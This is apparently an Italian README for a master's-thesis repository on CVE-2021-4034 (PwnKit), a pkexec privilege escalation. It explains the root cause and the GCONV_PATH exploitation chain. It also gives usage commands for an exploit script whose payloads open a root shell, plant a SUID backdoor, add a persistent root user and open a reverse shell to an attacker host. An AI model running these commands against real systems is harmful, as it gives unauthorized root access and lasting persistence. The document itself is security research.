
Ricerca avanzata sull'escalation dei privilegi in Linux relativa a CVE-2021-4034 (PwnKit). Include un exploit ottimizzato con 7 modalità di payload polimorfiche (Shell interattiva, Backdoor, Creazione utente, Reverse Shell, ecc.). Progetto portfolio incentrato sulla logica di corruzione della memoria, sulla manipolazione delle variabili d'ambiente e su tecniche anti-forensi.
Vulnerabilità di corruzione della memoria nell'utility pkexec di polkit
Escalation locale dei privilegi → root tramite scrittura fuori dai limiti
Versioni interessate: polkit 0.105-31 e precedenti · Patch: polkit 0.105-33 (gennaio 2022)
Shell root interattiva ottenuta tramite CVE-2021-4034 - PwnKit
Questo repository contiene la mia ricerca per la Tesi Magistrale su CVE-2021-4034, una vulnerabilità di Escalation Locale dei Privilegi ad alta gravità (CVSS 7.8) nell'utility pkexec di polkit, comunemente nota come PwnKit.
La vulnerabilità ha origine da una scrittura fuori dai limiti nella logica di elaborazione degli argomenti di pkexec. Quando pkexec viene eseguito con un argv vuoto o manipolato, legge e scrive oltre i limiti dell'array argv nell'array envp, consentendo a un utente locale non privilegiato di iniettare variabili d'ambiente dannose che vengono successivamente caricate come libreria condivisa, eseguendo codice arbitrario con privilegi di root.
| Aspetto | Descrizione |
|---|
CVE-2021-4034/
├── README.md # This file
├── LICENSE # MIT License
│
├── exploit/
│ └── pwnkit.py # Advanced exploit with multiple payloads
│
└── docs/
├── screenshots/ # Exploitation demonstrations
│ ├── 01-pwnkit-shell.png
│ ├── 02-pwnkit-id.png
│ ├── 03-pwnkit-whoami.png
│ ├── 04-pwnkit-backdoor.png
│ ├── 05-pwnkit-add-user.png
│ ├── 06-pwnkit-reverse.png
│ └── 07-pwnkit-custom.png
│
└── analysis/
├── 01-root-cause.md # Vulnerability root cause analysis
├── 02-exploitation-chain.md # Exploitation chain breakdown
└── 03-timeline.md # CVE timeline
pkexec --version mostra 0.105 o precedente)apt install gcc)# Interactive root shell (default)
python3 exploit/pwnkit.py -p shell
# Verify execution context
python3 exploit/pwnkit.py -p whoami
# Execute custom command as root
python3 exploit/pwnkit.py -p custom -c "id"
# Create SUID backdoor at /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid
# Add persistent root user
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword
# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444
pkexec elabora il proprio argv per individuare il programma da eseguire. Quando viene invocato con argc == 0 (vettore di argomenti vuoto), il controllo dei limiti su argv fallisce silenziosamente. La successiva lettura fuori dai limiti tratta envp[0] come argv[1], e la scrittura fuori dai limiti in envp consente a un attaccante di sostituire una variabile d'ambiente con un percorso appositamente costruito. Quando pkexec chiama successivamente g_printerr(), carica GCONV_PATH dall'ambiente ora controllato dall'attaccante, caricando una libreria condivisa fornita dall'attaccante con privilegi di root.
argc == 0 → argv[1] reads envp[0]
argv[1] = "GCONV_PATH=." (writes back into envp)
pkexec loads ./pwnkit.so (attacker-controlled shared library)
gconv_init() executes as root







Tutti i test sono stati condotti su una VM VirtualBox isolata con Ubuntu 20.04 LTS e polkit 0.105-26 (vulnerabile), senza esposizione di rete.
| Documento | Descrizione |
|---|---|
| Analisi della causa principale | Scrittura fuori dai limiti nell'elaborazione degli argomenti di pkexec |
Questa ricerca fa parte della mia Tesi Magistrale in Cybersecurity (UCAM — Campus Internacional de Ciberseguridad), che analizza le vulnerabilità N-Day in diversi ambienti.
Questo CVE rappresenta il vettore di escalation locale dei privilegi Linux all'interno della tesi, dimostrando:
Parole chiave: LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit
Annais Molina (devianntsec) — Studentessa Magistrale in Cybersecurity
Licenza MIT — vedi LICENSE
Questo repository è fornito solo a scopo educativo e di ricerca sulla sicurezza, come parte di una Tesi Magistrale accademica. Tutti i test sono stati eseguiti su macchine virtuali isolate senza esposizione di rete. Utilizzare solo su sistemi di tua proprietà o per i quali disponi di esplicita autorizzazione scritta ai test. L'uso non autorizzato contro sistemi è illegale e può comportare l'avvio di un procedimento penale.
| Exploit multi-payload | Wrapper Python con 6 modalità di payload, tra cui shell, id, backdoor e reverse shell |
| Configurazione automatica dell'ambiente | Costruzione automatica di GCONV_PATH e configurazione di gconv-modules |
| Moduli post-exploitation | Backdoor SUID, creazione di utenti root ed esecuzione di comandi personalizzati |
| Documentazione accademica | Analisi della causa principale, catena di sfruttamento e cronologia della vulnerabilità |
| Payload | Descrizione | Output |
|---|
shell | Avvia una /bin/sh interattiva come root | Shell interattiva |
id | Scrive l'output di id e whoami in /tmp/pwnkit_id.txt | File |
whoami | Scrive la verifica UID/eUID in /tmp/pwnkit_root_test | File |
backdoor_suid | Crea una copia root SUID di bash in /tmp/.sh | Backdoor persistente |
add_root_user | Aggiunge un utente personalizzato a /etc/passwd | Accesso persistente |
reverse_shell | Si riconnette all'attaccante tramite Python | Shell remota |
custom | Esegue qualsiasi comando come root | Stdout / file |
| Componente | Valore | Note |
|---|
| Binario vulnerabile | /usr/bin/pkexec | SUID root |
| Condizione di attivazione | argc == 0 | argv vuoto |
| Primitiva di scrittura | Scrittura fuori dai limiti in envp | Tramite argv[argc-1] |
| Meccanismo di caricamento | GCONV_PATH + gconv-modules | iconv standard di glibc |
| Contesto di esecuzione | gconv_init() nella libreria condivisa | Eseguito con EUID 0 |
| Versioni interessate | polkit ≤ 0.105-31 | Tutte le principali distribuzioni Linux |
| Payload | Risultato | Note |
|---|
shell | ✅ Shell root ottenuta | Accesso interattivo immediato |
id | ✅ uid=0(root) confermato | Output in /tmp/pwnkit_id.txt |
whoami | ✅ root confermato | UID/eUID = 0 |
backdoor_suid | ✅ Bit SUID impostato su /tmp/.sh | Persistente dopo lo sfruttamento |
add_root_user | ✅ Utente personalizzato creato | Sopravvive al riavvio |
reverse_shell | ✅ Connessione stabilita | Reverse shell Python funzionante |
custom | ✅ Esecuzione di comandi arbitrari | Contesto root completo |
| Catena di sfruttamento | Analisi passo-passo dell'iniezione GCONV_PATH |
| Cronologia CVE | Cronologia di scoperta, divulgazione e patch |